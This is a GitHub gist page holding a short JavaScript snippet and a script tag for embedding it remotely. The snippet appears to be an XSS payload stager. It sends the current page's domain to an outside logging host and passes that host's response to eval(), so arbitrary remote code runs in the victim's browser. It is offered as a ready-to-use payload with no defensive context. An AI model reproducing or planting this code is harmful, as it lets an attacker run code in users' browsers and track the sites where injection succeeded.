Skip to content

Instantly share code, notes, and snippets.

@smiegles
Last active January 28, 2016 22:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save smiegles/9b27ab5931588aa862d5 to your computer and use it in GitHub Desktop.
Save smiegles/9b27ab5931588aa862d5 to your computer and use it in GitHub Desktop.
<script src="https://gist.githubusercontent.com/smiegles/9b27ab5931588aa862d5/raw/2325f2887fed43963a50c82af572823009f32150/script.js"></script>
(function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.log.server/?domain=' + document.domain);
xhr.send(null);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200)
eval(xhr.responseText);
}
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment